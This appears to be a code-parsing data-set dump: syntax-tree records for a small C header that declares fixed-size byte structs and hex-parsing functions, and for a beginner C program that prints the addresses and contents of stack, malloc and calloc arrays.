{"language": "c", "success": true, "metadata": {"lines": 15, "avg_line_length": 21.33, "nodes": 66, "errors": 0, "source_hash": "8b00984eda5d4fd31a2fee738ac763612ff83ead5c524906fe8b9895dffdce52", "categorized_nodes": 38}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma once\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#pragma", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "once", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 12}}, {"id": 3, "type": "preproc_include", "text": "#include <stdio.h>\n", "parent": null, "children": [4, 5], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<stdio.h>", "parent": 3, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 2, "column": 18}}, {"id": 6, "type": "preproc_include", "text": "#include <stdint.h>\n", "parent": null, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<stdint.h>", "parent": 6, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 19}}, {"id": 9, "type": "preproc_call", "text": "#pragma pack(push, 1)\n", "parent": null, "children": [10, 11], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 10, "type": "preproc_directive", "text": "#pragma", "parent": 9, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 7}}, {"id": 11, "type": "preproc_arg", "text": "pack(push, 1)", "parent": 9, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 21}}, {"id": 12, "type": "struct_specifier", "text": "struct Bytes32 {\n uint8_t value[32];\n}", "parent": null, "children": [13, 14], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 8, "column": 1}}, {"id": 13, "type": "struct", "text": "struct", "parent": 12, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 6}}, {"id": 14, "type": "type_identifier", "text": "Bytes32", "parent": 12, "children": [], "start_point": {"row": 6, "column": 7}, "end_point": {"row": 6, "column": 14}}, {"id": 15, "type": "field_declaration", "text": "uint8_t value[32];", "parent": 12, "children": [16, 17], "start_point": {"row": 7, "column": 4}, "end_point": {"row": 7, "column": 22}}, {"id": 16, "type": "primitive_type", "text": "uint8_t", "parent": 15, "children": [], "start_point": {"row": 7, "column": 4}, "end_point": {"row": 7, "column": 11}}, {"id": 17, "type": "array_declarator", "text": "value[32]", "parent": 15, "children": [18, 19], "start_point": {"row": 7, "column": 12}, "end_point": {"row": 7, "column": 21}}, {"id": 18, "type": "field_identifier", "text": "value", "parent": 17, "children": [], "start_point": {"row": 7, "column": 12}, "end_point": {"row": 7, "column": 17}}, {"id": 19, "type": "number_literal", "text": "32", "parent": 17, "children": [], "start_point": {"row": 7, "column": 18}, "end_point": {"row": 7, "column": 20}}, {"id": 20, "type": "preproc_call", "text": "#pragma pack(pop)\n", "parent": null, "children": [21, 22], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 21, "type": "preproc_directive", "text": "#pragma", "parent": 20, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 7}}, {"id": 22, "type": "preproc_arg", "text": "pack(pop)", "parent": 20, "children": [], "start_point": {"row": 9, "column": 8}, "end_point": {"row": 9, "column": 17}}, {"id": 23, "type": "preproc_call", "text": "#pragma pack(push, 1)\n", "parent": null, "children": [24, 25], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 12, "column": 0}}, {"id": 24, "type": "preproc_directive", "text": "#pragma", "parent": 23, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 7}}, {"id": 25, "type": "preproc_arg", "text": "pack(push, 1)", "parent": 23, "children": [], "start_point": {"row": 11, "column": 8}, "end_point": {"row": 11, "column": 21}}, {"id": 26, "type": "struct_specifier", "text": "struct Bytes100 {\n uint8_t value[100];\n}", "parent": null, "children": [27, 28], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 14, "column": 1}}, {"id": 27, "type": "struct", "text": "struct", "parent": 26, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 6}}, {"id": 28, "type": "type_identifier", "text": "Bytes100", "parent": 26, "children": [], "start_point": {"row": 12, "column": 7}, "end_point": {"row": 12, "column": 15}}, {"id": 29, "type": "field_declaration", "text": "uint8_t value[100];", "parent": 26, "children": [30, 31], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 23}}, {"id": 30, "type": "primitive_type", "text": "uint8_t", "parent": 29, "children": [], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 11}}, {"id": 31, "type": "array_declarator", "text": "value[100]", "parent": 29, "children": [32, 33], "start_point": {"row": 13, "column": 12}, "end_point": {"row": 13, "column": 22}}, {"id": 32, "type": "field_identifier", "text": "value", "parent": 31, "children": [], "start_point": {"row": 13, "column": 12}, "end_point": {"row": 13, "column": 17}}, {"id": 33, "type": "number_literal", "text": "100", "parent": 31, "children": [], "start_point": {"row": 13, "column": 18}, "end_point": {"row": 13, "column": 21}}, {"id": 34, "type": "preproc_call", "text": "#pragma pack(pop)\n", "parent": null, "children": [35, 36], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 16, "column": 0}}, {"id": 35, "type": "preproc_directive", "text": "#pragma", "parent": 34, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 7}}, {"id": 36, "type": "preproc_arg", "text": "pack(pop)", "parent": 34, "children": [], "start_point": {"row": 15, "column": 8}, "end_point": {"row": 15, "column": 17}}, {"id": 37, "type": "declaration", "text": "uint8_t *bytes_from_hex_alloc(const char *hex);", "parent": null, "children": [38, 39], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 47}}, {"id": 38, "type": "primitive_type", "text": "uint8_t", "parent": 37, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 7}}, {"id": 39, "type": "pointer_declarator", "text": "*bytes_from_hex_alloc(const char *hex)", "parent": 37, "children": [40, 41], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 46}}, {"id": 40, "type": "*", "text": "*", "parent": 39, "children": [], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 9}}, {"id": 41, "type": "function_declarator", "text": "bytes_from_hex_alloc(const char *hex)", "parent": 39, "children": [42, 43], "start_point": {"row": 17, "column": 9}, "end_point": {"row": 17, "column": 46}}, {"id": 42, "type": "identifier", "text": "bytes_from_hex_alloc", "parent": 41, "children": [], "start_point": {"row": 17, "column": 9}, "end_point": {"row": 17, "column": 29}}, {"id": 43, "type": "parameter_list", "text": "(const char *hex)", "parent": 41, "children": [44], "start_point": {"row": 17, "column": 29}, "end_point": {"row": 17, "column": 46}}, {"id": 44, "type": "parameter_declaration", "text": "const char *hex", "parent": 43, "children": [45, 46], "start_point": {"row": 17, "column": 30}, "end_point": {"row": 17, "column": 45}}, {"id": 45, "type": "primitive_type", "text": "char", "parent": 44, "children": [], "start_point": {"row": 17, "column": 36}, "end_point": {"row": 17, "column": 40}}, {"id": 46, "type": "pointer_declarator", "text": "*hex", "parent": 44, "children": [47, 48], "start_point": {"row": 17, "column": 41}, "end_point": {"row": 17, "column": 45}}, {"id": 47, "type": "*", "text": "*", "parent": 46, "children": [], "start_point": {"row": 17, "column": 41}, "end_point": {"row": 17, "column": 42}}, {"id": 48, "type": "identifier", "text": "hex", "parent": 46, "children": [], "start_point": {"row": 17, "column": 42}, "end_point": {"row": 17, "column": 45}}, {"id": 49, "type": "declaration", "text": "struct Bytes32 bytes32_from_hex(const char *hex, int *error_code);", "parent": null, "children": [50, 53], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 66}}, {"id": 50, "type": "struct_specifier", "text": "struct Bytes32", "parent": 49, "children": [51, 52], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 14}}, {"id": 51, "type": "struct", "text": "struct", "parent": 50, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 6}}, {"id": 52, "type": "type_identifier", "text": "Bytes32", "parent": 50, "children": [], "start_point": {"row": 19, "column": 7}, "end_point": {"row": 19, "column": 14}}, {"id": 53, "type": "function_declarator", "text": "bytes32_from_hex(const char *hex, int *error_code)", "parent": 49, "children": [54, 55], "start_point": {"row": 19, "column": 15}, "end_point": {"row": 19, "column": 65}}, {"id": 54, "type": "identifier", "text": "bytes32_from_hex", "parent": 53, "children": [], "start_point": {"row": 19, "column": 15}, "end_point": {"row": 19, "column": 31}}, {"id": 55, "type": "parameter_list", "text": "(const char *hex, int *error_code)", "parent": 53, "children": [56, 61], "start_point": {"row": 19, "column": 31}, "end_point": {"row": 19, "column": 65}}, {"id": 56, "type": "parameter_declaration", "text": "const char *hex", "parent": 55, "children": [57, 58], "start_point": {"row": 19, "column": 32}, "end_point": {"row": 19, "column": 47}}, {"id": 57, "type": "primitive_type", "text": "char", "parent": 56, "children": [], "start_point": {"row": 19, "column": 38}, "end_point": {"row": 19, "column": 42}}, {"id": 58, "type": "pointer_declarator", "text": "*hex", "parent": 56, "children": [59, 60], "start_point": {"row": 19, "column": 43}, "end_point": {"row": 19, "column": 47}}, {"id": 59, "type": "*", "text": "*", "parent": 58, "children": [], "start_point": {"row": 19, "column": 43}, "end_point": {"row": 19, "column": 44}}, {"id": 60, "type": "identifier", "text": "hex", "parent": 58, "children": [], "start_point": {"row": 19, "column": 44}, "end_point": {"row": 19, "column": 47}}, {"id": 61, "type": "parameter_declaration", "text": "int *error_code", "parent": 55, "children": [62, 63], "start_point": {"row": 19, "column": 49}, "end_point": {"row": 19, "column": 64}}, {"id": 62, "type": "primitive_type", "text": "int", "parent": 61, "children": [], "start_point": {"row": 19, "column": 49}, "end_point": {"row": 19, "column": 52}}, {"id": 63, "type": "pointer_declarator", "text": "*error_code", "parent": 61, "children": [64, 65], "start_point": {"row": 19, "column": 53}, "end_point": {"row": 19, "column": 64}}, {"id": 64, "type": "*", "text": "*", "parent": 63, "children": [], "start_point": {"row": 19, "column": 53}, "end_point": {"row": 19, "column": 54}}, {"id": 65, "type": "identifier", "text": "error_code", "parent": 63, "children": [], "start_point": {"row": 19, "column": 54}, "end_point": {"row": 19, "column": 64}}]}, "node_categories": {"declarations": {"functions": [41, 53], "variables": [15, 29, 37, 44, 49, 56, 61], "classes": [12, 13, 26, 27, 50, 51], "imports": [3, 4, 6, 7], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [14, 18, 28, 32, 42, 48, 52, 54, 60, 65], "returns": [], "exceptions": []}, "expressions": {"calls": [0, 9, 20, 23, 34], "literals": [5, 8, 19, 33], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 41, "universal_type": "function", "name": "unknown", "text_snippet": "bytes_from_hex_alloc(const char *hex)"}, {"node_id": 53, "universal_type": "function", "name": "*error_code)", "text_snippet": "bytes32_from_hex(const char *hex, int *error_code)"}], "class_declarations": [{"node_id": 12, "universal_type": "class", "name": "Bytes32", "text_snippet": "struct Bytes32 {\n uint8_t value[32];\n}"}, {"node_id": 13, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 26, "universal_type": "class", "name": "Bytes100", "text_snippet": "struct Bytes100 {\n uint8_t value[100];\n}"}, {"node_id": 27, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 50, "universal_type": "class", "name": "Bytes32", "text_snippet": "struct Bytes32"}, {"node_id": 51, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}], "import_statements": [{"node_id": 3, "text": "#include <stdio.h>\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include <stdint.h>\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "#pragma once\n\n#include <stdio.h>\n#include <stdint.h>\n\n#pragma pack(push, 1)\nstruct Bytes32 {\n uint8_t value[32];\n};\n#pragma pack(pop)\n\n#pragma pack(push, 1)\nstruct Bytes100 {\n uint8_t value[100];\n};\n#pragma pack(pop)\n\nuint8_t *bytes_from_hex_alloc(const char *hex);\n\nstruct Bytes32 bytes32_from_hex(const char *hex, int *error_code);\n\n"}
81,132
c
#include <stdio.h> #include <stdlib.h> int main() { // Static vector allocation (Stack memory) int vs[5] = {0, 10, 20, 30, 40}; puts("### STATIC VECTOR ###"); printf("&vs = %p vs = %p\n", &vs, vs); for (int i = 0; i < 5; i++) { printf("&vs[%d] = %p, vs[%d] = %d\n", i, &vs[i], i, vs[i]); } puts("\n"); // Dinamyc vector allocation using malloc (Heap memory) // There're trash at the memory allocated int *vh_mal = (int *) malloc(5 * sizeof(int)); puts("### DINAMYC VECTOR WHITH MALLOC ###"); printf("&vh_mal = %p vh_mal = %p\n", &vh_mal, vh_mal); for (int i = 0; i < 5; i++) { printf("&vh_mal[%d] = %p, vh_mal[%d] = %d\n", i, &vh_mal[i], i, vh_mal[i]); } puts("\n"); // Dinamyc vector allocation using calloc (Heap memory) // Thare're no trash at the memory allocated int *vh_cal = (int *) calloc(5, sizeof(int)); puts("### DINAMYC VECTOR WHITH CALLOC ###"); printf("&vh_cal = %p vh_cal = %p\n", &vh_cal, vh_cal); for (int i = 0; i < 5; i++) { printf("&vh_cal[%d] = %p, vh_cal[%d] = %d\n", i, &vh_cal[i], i, vh_cal[i]); } puts("\n"); return 0; }
32.69
35
(translation_unit) "#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n\n // Static vector allocation (Stack memory)\n int vs[5] = {0, 10, 20, 30, 40};\n\n puts("### STATIC VECTOR ###");\n printf("&vs = %p vs = %p\n", &vs, vs);\n\n for (int i = 0; i < 5; i++)\n {\n printf("&vs[%d] = %p, vs[%d] = %d\n", i, &vs[i], i, vs[i]);\n }\n\n puts("\n");\n\n // Dinamyc vector allocation using malloc (Heap memory)\n // There're trash at the memory allocated\n int *vh_mal = (int *) malloc(5 * sizeof(int));\n\n puts("### DINAMYC VECTOR WHITH MALLOC ###");\n printf("&vh_mal = %p vh_mal = %p\n", &vh_mal, vh_mal);\n\n for (int i = 0; i < 5; i++)\n {\n printf("&vh_mal[%d] = %p, vh_mal[%d] = %d\n", i, &vh_mal[i], i, vh_mal[i]);\n }\n\n puts("\n");\n\n // Dinamyc vector allocation using calloc (Heap memory)\n // Thare're no trash at the memory allocated\n int *vh_cal = (int *) calloc(5, sizeof(int));\n\n puts("### DINAMYC VECTOR WHITH CALLOC ###");\n printf("&vh_cal = %p vh_cal = %p\n", &vh_cal, vh_cal);\n\n for (int i = 0; i < 5; i++)\n {\n printf("&vh_cal[%d] = %p, vh_cal[%d] = %d\n", i, &vh_cal[i], i, vh_cal[i]);\n }\n\n puts("\n");\n\n\n return 0;\n}" (preproc_include) "#include <stdio.h>\n" (#include) "#include" (system_lib_string) "<stdio.h>" (preproc_include) "#include <stdlib.h>\n" (#include) "#include" (system_lib_string) "<stdlib.h>" (function_definition) "int main() {\n\n // Static vector allocation (Stack memory)\n int vs[5] = {0, 10, 20, 30, 40};\n\n puts("### STATIC VECTOR ###");\n printf("&vs = %p vs = %p\n", &vs, vs);\n\n for (int i = 0; i < 5; i++)\n {\n printf("&vs[%d] = %p, vs[%d] = %d\n", i, &vs[i], i, vs[i]);\n }\n\n puts("\n");\n\n // Dinamyc vector allocation using malloc (Heap memory)\n // There're trash at the memory allocated\n int *vh_mal = (int *) malloc(5 * sizeof(int));\n\n puts("### DINAMYC VECTOR WHITH MALLOC ###");\n printf("&vh_mal = %p vh_mal = %p\n", &vh_mal, vh_mal);\n\n for (int i = 0; i < 5; i++)\n {\n printf("&vh_mal[%d] = %p, vh_mal[%d] = %d\n", i, &vh_mal[i], i, vh_mal[i]);\n }\n\n puts("\n");\n\n // Dinamyc vector allocation using calloc (Heap memory)\n // Thare're no trash at the memory allocated\n int *vh_cal = (int *) calloc(5, sizeof(int));\n\n puts("### DINAMYC VECTOR WHITH CALLOC ###");\n printf("&vh_cal = %p vh_cal = %p\n", &vh_cal, vh_cal);\n\n for (int i = 0; i < 5; i++)\n {\n printf("&vh_cal[%d] = %p, vh_cal[%d] = %d\n", i, &vh_cal[i], i, vh_cal[i]);\n }\n\n puts("\n");\n\n\n return 0;\n}" (primitive_type) "int" (function_declarator) "main()" (identifier) "main" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n\n // Static vector allocation (Stack memory)\n int vs[5] = {0, 10, 20, 30, 40};\n\n puts("### STATIC VECTOR ###");\n printf("&vs = %p vs = %p\n", &vs, vs);\n\n for (int i = 0; i < 5; i++)\n {\n printf("&vs[%d] = %p, vs[%d] = %d\n", i, &vs[i], i, vs[i]);\n }\n\n puts("\n");\n\n // Dinamyc vector allocation using malloc (Heap memory)\n // There're trash at the memory allocated\n int *vh_mal = (int *) malloc(5 * sizeof(int));\n\n puts("### DINAMYC VECTOR WHITH MALLOC ###");\n printf("&vh_mal = %p vh_mal = %p\n", &vh_mal, vh_mal);\n\n for (int i = 0; i < 5; i++)\n {\n printf("&vh_mal[%d] = %p, vh_mal[%d] = %d\n", i, &vh_mal[i], i, vh_mal[i]);\n }\n\n puts("\n");\n\n // Dinamyc vector allocation using calloc (Heap memory)\n // Thare're no trash at the memory allocated\n int *vh_cal = (int *) calloc(5, sizeof(int));\n\n puts("### DINAMYC VECTOR WHITH CALLOC ###");\n printf("&vh_cal = %p vh_cal = %p\n", &vh_cal, vh_cal);\n\n for (int i = 0; i < 5; i++)\n {\n printf("&vh_cal[%d] = %p, vh_cal[%d] = %d\n", i, &vh_cal[i], i, vh_cal[i]);\n }\n\n puts("\n");\n\n\n return 0;\n}" ({) "{" (comment) "// Static vector allocation (Stack memory)" (declaration) "int vs[5] = {0, 10, 20, 30, 40};" (primitive_type) "int" (init_declarator) "vs[5] = {0, 10, 20, 30, 40}" (array_declarator) "vs[5]" (identifier) "vs" ([) "[" (number_literal) "5" (]) "]" (=) "=" (initializer_list) "{0, 10, 20, 30, 40}" ({) "{" (number_literal) "0" (,) "," (number_literal) "10" (,) "," (number_literal) "20" (,) "," (number_literal) "30" (,) "," (number_literal) "40" (}) "}" (;) ";" (expression_statement) "puts("### STATIC VECTOR ###");" (call_expression) "puts("### STATIC VECTOR ###")" (identifier) "puts" (argument_list) "("### STATIC VECTOR ###")" (() "(" (string_literal) ""### STATIC VECTOR ###"" (") """ (string_content) "### STATIC VECTOR ###" (") """ ()) ")" (;) ";" (expression_statement) "printf("&vs = %p vs = %p\n", &vs, vs);" (call_expression) "printf("&vs = %p vs = %p\n", &vs, vs)" (identifier) "printf" (argument_list) "("&vs = %p vs = %p\n", &vs, vs)" (() "(" (string_literal) ""&vs = %p vs = %p\n"" (") """ (string_content) "&vs = %p vs = %p" (escape_sequence) "\n" (") """ (,) "," (pointer_expression) "&vs" (&) "&" (identifier) "vs" (,) "," (identifier) "vs" ()) ")" (;) ";" (for_statement) "for (int i = 0; i < 5; i++)\n {\n printf("&vs[%d] = %p, vs[%d] = %d\n", i, &vs[i], i, vs[i]);\n }" (for) "for" (() "(" (declaration) "int i = 0;" (primitive_type) "int" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i < 5" (identifier) "i" (<) "<" (number_literal) "5" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n printf("&vs[%d] = %p, vs[%d] = %d\n", i, &vs[i], i, vs[i]);\n }" ({) "{" (expression_statement) "printf("&vs[%d] = %p, vs[%d] = %d\n", i, &vs[i], i, vs[i]);" (call_expression) "printf("&vs[%d] = %p, vs[%d] = %d\n", i, &vs[i], i, vs[i])" (identifier) "printf" (argument_list) "("&vs[%d] = %p, vs[%d] = %d\n", i, &vs[i], i, vs[i])" (() "(" (string_literal) ""&vs[%d] = %p, vs[%d] = %d\n"" (") """ (string_content) "&vs[%d] = %p, vs[%d] = %d" (escape_sequence) "\n" (") """ (,) "," (identifier) "i" (,) "," (pointer_expression) "&vs[i]" (&) "&" (subscript_expression) "vs[i]" (identifier) "vs" ([) "[" (identifier) "i" (]) "]" (,) "," (identifier) "i" (,) "," (subscript_expression) "vs[i]" (identifier) "vs" ([) "[" (identifier) "i" (]) "]" ()) ")" (;) ";" (}) "}" (expression_statement) "puts("\n");" (call_expression) "puts("\n")" (identifier) "puts" (argument_list) "("\n")" (() "(" (string_literal) ""\n"" (") """ (escape_sequence) "\n" (") """ ()) ")" (;) ";" (comment) "// Dinamyc vector allocation using malloc (Heap memory)" (comment) "// There're trash at the memory allocated" (declaration) "int *vh_mal = (int *) malloc(5 * sizeof(int));" (primitive_type) "int" (init_declarator) "*vh_mal = (int *) malloc(5 * sizeof(int))" (pointer_declarator) "*vh_mal" (*) "*" (identifier) "vh_mal" (=) "=" (cast_expression) "(int *) malloc(5 * sizeof(int))" (() "(" (type_descriptor) "int *" (primitive_type) "int" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (call_expression) "malloc(5 * sizeof(int))" (identifier) "malloc" (argument_list) "(5 * sizeof(int))" (() "(" (binary_expression) "5 * sizeof(int)" (number_literal) "5" (*) "*" (sizeof_expression) "sizeof(int)" (sizeof) "sizeof" (() "(" (type_descriptor) "int" (primitive_type) "int" ()) ")" ()) ")" (;) ";" (expression_statement) "puts("### DINAMYC VECTOR WHITH MALLOC ###");" (call_expression) "puts("### DINAMYC VECTOR WHITH MALLOC ###")" (identifier) "puts" (argument_list) "("### DINAMYC VECTOR WHITH MALLOC ###")" (() "(" (string_literal) ""### DINAMYC VECTOR WHITH MALLOC ###"" (") """ (string_content) "### DINAMYC VECTOR WHITH MALLOC ###" (") """ ()) ")" (;) ";" (expression_statement) "printf("&vh_mal = %p vh_mal = %p\n", &vh_mal, vh_mal);" (call_expression) "printf("&vh_mal = %p vh_mal = %p\n", &vh_mal, vh_mal)" (identifier) "printf" (argument_list) "("&vh_mal = %p vh_mal = %p\n", &vh_mal, vh_mal)" (() "(" (string_literal) ""&vh_mal = %p vh_mal = %p\n"" (") """ (string_content) "&vh_mal = %p vh_mal = %p" (escape_sequence) "\n" (") """ (,) "," (pointer_expression) "&vh_mal" (&) "&" (identifier) "vh_mal" (,) "," (identifier) "vh_mal" ()) ")" (;) ";" (for_statement) "for (int i = 0; i < 5; i++)\n {\n printf("&vh_mal[%d] = %p, vh_mal[%d] = %d\n", i, &vh_mal[i], i, vh_mal[i]);\n }" (for) "for" (() "(" (declaration) "int i = 0;" (primitive_type) "int" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i < 5" (identifier) "i" (<) "<" (number_literal) "5" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n printf("&vh_mal[%d] = %p, vh_mal[%d] = %d\n", i, &vh_mal[i], i, vh_mal[i]);\n }" ({) "{" (expression_statement) "printf("&vh_mal[%d] = %p, vh_mal[%d] = %d\n", i, &vh_mal[i], i, vh_mal[i]);" (call_expression) "printf("&vh_mal[%d] = %p, vh_mal[%d] = %d\n", i, &vh_mal[i], i, vh_mal[i])" (identifier) "printf" (argument_list) "("&vh_mal[%d] = %p, vh_mal[%d] = %d\n", i, &vh_mal[i], i, vh_mal[i])" (() "(" (string_literal) ""&vh_mal[%d] = %p, vh_mal[%d] = %d\n"" (") """ (string_content) "&vh_mal[%d] = %p, vh_mal[%d] = %d" (escape_sequence) "\n" (") """ (,) "," (identifier) "i" (,) "," (pointer_expression) "&vh_mal[i]" (&) "&" (subscript_expression) "vh_mal[i]" (identifier) "vh_mal" ([) "[" (identifier) "i" (]) "]" (,) "," (identifier) "i" (,) "," (subscript_expression) "vh_mal[i]" (identifier) "vh_mal" ([) "[" (identifier) "i" (]) "]" ()) ")" (;) ";" (}) "}" (expression_statement) "puts("\n");" (call_expression) "puts("\n")" (identifier) "puts" (argument_list) "("\n")" (() "(" (string_literal) ""\n"" (") """ (escape_sequence) "\n" (") """ ()) ")" (;) ";" (comment) "// Dinamyc vector allocation using calloc (Heap memory)" (comment) "// Thare're no trash at the memory allocated" (declaration) "int *vh_cal = (int *) calloc(5, sizeof(int));" (primitive_type) "int" (init_declarator) "*vh_cal = (int *) calloc(5, sizeof(int))" (pointer_declarator) "*vh_cal" (*) "*" (identifier) "vh_cal" (=) "=" (cast_expression) "(int *) calloc(5, sizeof(int))" (() "(" (type_descriptor) "int *" (primitive_type) "int" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (call_expression) "calloc(5, sizeof(int))" (identifier) "calloc" (argument_list) "(5, sizeof(int))" (() "(" (number_literal) "5" (,) "," (sizeof_expression) "sizeof(int)" (sizeof) "sizeof" (() "(" (type_descriptor) "int" (primitive_type) "int" ()) ")" ()) ")" (;) ";" (expression_statement) "puts("### DINAMYC VECTOR WHITH CALLOC ###");" (call_expression) "puts("### DINAMYC VECTOR WHITH CALLOC ###")" (identifier) "puts" (argument_list) "("### DINAMYC VECTOR WHITH CALLOC ###")" (() "(" (string_literal) ""### DINAMYC VECTOR WHITH CALLOC ###"" (") """ (string_content) "### DINAMYC VECTOR WHITH CALLOC ###" (") """ ()) ")" (;) ";" (expression_statement) "printf("&vh_cal = %p vh_cal = %p\n", &vh_cal, vh_cal);" (call_expression) "printf("&vh_cal = %p vh_cal = %p\n", &vh_cal, vh_cal)" (identifier) "printf" (argument_list) "("&vh_cal = %p vh_cal = %p\n", &vh_cal, vh_cal)" (() "(" (string_literal) ""&vh_cal = %p vh_cal = %p\n"" (") """ (string_content) "&vh_cal = %p vh_cal = %p" (escape_sequence) "\n" (") """ (,) "," (pointer_expression) "&vh_cal" (&) "&" (identifier) "vh_cal" (,) "," (identifier) "vh_cal" ()) ")" (;) ";" (for_statement) "for (int i = 0; i < 5; i++)\n {\n printf("&vh_cal[%d] = %p, vh_cal[%d] = %d\n", i, &vh_cal[i], i, vh_cal[i]);\n }" (for) "for" (() "(" (declaration) "int i = 0;" (primitive_type) "int" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i < 5" (identifier) "i" (<) "<" (number_literal) "5" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n printf("&vh_cal[%d] = %p, vh_cal[%d] = %d\n", i, &vh_cal[i], i, vh_cal[i]);\n }" ({) "{" (expression_statement) "printf("&vh_cal[%d] = %p, vh_cal[%d] = %d\n", i, &vh_cal[i], i, vh_cal[i]);" (call_expression) "printf("&vh_cal[%d] = %p, vh_cal[%d] = %d\n", i, &vh_cal[i], i, vh_cal[i])" (identifier) "printf" (argument_list) "("&vh_cal[%d] = %p, vh_cal[%d] = %d\n", i, &vh_cal[i], i, vh_cal[i])" (() "(" (string_literal) ""&vh_cal[%d] = %p, vh_cal[%d] = %d\n"" (") """ (string_content) "&vh_cal[%d] = %p, vh_cal[%d] = %d" (escape_sequence) "\n" (") """ (,) "," (identifier) "i" (,) "," (pointer_expression) "&vh_cal[i]" (&) "&" (subscript_expression) "vh_cal[i]" (identifier) "vh_cal" ([) "[" (identifier) "i" (]) "]" (,) "," (identifier) "i" (,) "," (subscript_expression) "vh_cal[i]" (identifier) "vh_cal" ([) "[" (identifier) "i" (]) "]" ()) ")" (;) ";" (}) "}" (expression_statement) "puts("\n");" (call_expression) "puts("\n")" (identifier) "puts" (argument_list) "("\n")" (() "(" (string_literal) ""\n"" (") """ (escape_sequence) "\n" (") """ ()) ")" (;) ";" (return_statement) "return 0;" (return) "return" (number_literal) "0" (;) ";" (}) "}"
381
0
{"language": "c", "success": true, "metadata": {"lines": 35, "avg_line_length": 32.69, "nodes": 201, "errors": 0, "source_hash": "0bd704493aa96f91b3feed8ad29aa284bff9f95d1aed7ede26c3e7412da11bb5", "categorized_nodes": 133}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include <stdio.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 8}}, {"id": 2, "type": "system_lib_string", "text": "<stdio.h>", "parent": 0, "children": [], "start_point": {"row": 0, "column": 9}, "end_point": {"row": 0, "column": 18}}, {"id": 3, "type": "preproc_include", "text": "#include <stdlib.h>\n", "parent": null, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<stdlib.h>", "parent": 3, "children": [], "start_point": {"row": 1, "column": 9}, "end_point": {"row": 1, "column": 19}}, {"id": 6, "type": "function_definition", "text": "int main() {\n\n // Static vector allocation (Stack memory)\n int vs[5] = {0, 10, 20, 30, 40};\n\n puts(\"### STATIC VECTOR ###\");\n printf(\"&vs = %p vs = %p\\n\", &vs, vs);\n\n for (int i = 0; i < 5; i++)\n {\n printf(\"&vs[%d] = %p, vs[%d] = 